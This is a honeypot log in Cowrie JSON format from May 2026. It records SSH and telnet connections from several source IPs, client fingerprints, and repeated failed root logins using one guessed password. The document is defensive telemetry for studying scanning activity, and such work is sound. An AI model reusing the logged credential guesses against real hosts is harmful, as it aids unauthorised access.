{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46484,"dst_ip":"10.17.0.5","dst_port":23,"session":"6faba08af86f","protocol":"telnet","message":"New connection: 50.6.8.71:46484 (10.17.0.5:23) [session: 6faba08af86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:46.230626Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":48670,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a27cc681183","protocol":"ssh","message":"New connection: 103.27.238.116:48670 (159.203.135.109:22) [session: 8a27cc681183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:47.943757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:47.948118Z","src_ip":"103.27.238.116","session":"8a27cc681183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:48.211644Z","src_ip":"103.27.238.116","session":"8a27cc681183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:48.998136Z","src_ip":"103.27.238.116","session":"8a27cc681183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:50.262066Z","src_ip":"103.27.238.116","session":"8a27cc681183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":33832,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b46958a0a7","protocol":"ssh","message":"New connection: 103.27.238.118:33832 (159.203.135.109:22) [session: 18b46958a0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:54.266863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:54.271480Z","src_ip":"103.27.238.118","session":"18b46958a0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:54.546348Z","src_ip":"103.27.238.118","session":"18b46958a0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41270,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e581aa32c34","protocol":"telnet","message":"New connection: 50.6.8.71:41270 (10.17.0.5:23) [session: 8e581aa32c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:54.728705Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:55.373538Z","src_ip":"103.27.238.118","session":"18b46958a0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.619001388549805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:56.498480Z","src_ip":"50.6.8.71","session":"2739ece4dccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:56.651891Z","src_ip":"103.27.238.118","session":"18b46958a0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56866,"dst_ip":"10.17.0.5","dst_port":23,"session":"117b03498e58","protocol":"telnet","message":"New connection: 50.6.8.71:56866 (10.17.0.5:23) [session: 117b03498e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:57.719109Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40936,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4dc073dac40","protocol":"ssh","message":"New connection: 103.98.149.87:40936 (159.203.135.109:22) [session: e4dc073dac40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:00.490612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:00.496941Z","src_ip":"103.98.149.87","session":"e4dc073dac40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:00.727495Z","src_ip":"103.98.149.87","session":"e4dc073dac40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:01.412850Z","src_ip":"103.98.149.87","session":"e4dc073dac40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:02.645972Z","src_ip":"103.98.149.87","session":"e4dc073dac40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":58714,"dst_ip":"159.203.135.109","dst_port":22,"session":"06af839d645d","protocol":"ssh","message":"New connection: 103.149.170.125:58714 (159.203.135.109:22) [session: 06af839d645d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:03.775557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:03.781410Z","src_ip":"103.149.170.125","session":"06af839d645d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:04.032793Z","src_ip":"103.149.170.125","session":"06af839d645d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:04.781307Z","src_ip":"103.149.170.125","session":"06af839d645d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:06.035716Z","src_ip":"103.149.170.125","session":"06af839d645d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.6171236038208,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:06.883666Z","src_ip":"50.6.8.71","session":"61e2894e40e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97104835510254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:09.056612Z","src_ip":"50.6.8.71","session":"62adec54fdb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40682,"dst_ip":"159.203.135.109","dst_port":22,"session":"13b65ac4d0f9","protocol":"ssh","message":"New connection: 103.153.68.219:40682 (159.203.135.109:22) [session: 13b65ac4d0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:11.963803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:11.968744Z","src_ip":"103.153.68.219","session":"13b65ac4d0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:12.214230Z","src_ip":"103.153.68.219","session":"13b65ac4d0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:12.955432Z","src_ip":"103.153.68.219","session":"13b65ac4d0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.91964030265808,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:13.204236Z","src_ip":"50.6.8.71","session":"5a2a1b2d6862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05586099624634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:13.257256Z","src_ip":"50.6.8.71","session":"77ccb9bf6191","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:14.202275Z","src_ip":"103.153.68.219","session":"13b65ac4d0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":47386,"dst_ip":"159.203.135.109","dst_port":22,"session":"0132c7190a96","protocol":"ssh","message":"New connection: 103.75.183.219:47386 (159.203.135.109:22) [session: 0132c7190a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:17.484522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:17.489347Z","src_ip":"103.75.183.219","session":"0132c7190a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:17.732998Z","src_ip":"103.75.183.219","session":"0132c7190a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:18.465367Z","src_ip":"103.75.183.219","session":"0132c7190a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:19.710459Z","src_ip":"103.75.183.219","session":"0132c7190a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48250,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41c0e5e4c34","protocol":"telnet","message":"New connection: 50.6.8.71:48250 (10.17.0.5:23) [session: d41c0e5e4c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:19.750534Z"}
{"eventid":"cowrie.session.closed","duration":33.80208897590637,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:20.032486Z","src_ip":"50.6.8.71","session":"6faba08af86f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48264,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc239f78f11","protocol":"telnet","message":"New connection: 50.6.8.71:48264 (10.17.0.5:23) [session: 6bc239f78f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:20.133296Z"}
{"eventid":"cowrie.session.closed","duration":30.679394006729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:25.407977Z","src_ip":"50.6.8.71","session":"8e581aa32c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.9122576713562,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:26.614726Z","src_ip":"50.6.8.71","session":"68577905b6ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":58202,"dst_ip":"159.203.135.109","dst_port":22,"session":"a21a2e20362e","protocol":"ssh","message":"New connection: 147.45.197.250:58202 (159.203.135.109:22) [session: a21a2e20362e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:33.939090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:33.943957Z","src_ip":"147.45.197.250","session":"a21a2e20362e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:34.037724Z","src_ip":"147.45.197.250","session":"a21a2e20362e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:34.317644Z","src_ip":"147.45.197.250","session":"a21a2e20362e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:35.414845Z","src_ip":"147.45.197.250","session":"a21a2e20362e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.275367736816406,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:35.994348Z","src_ip":"50.6.8.71","session":"117b03498e58","protocol":"telnet"}
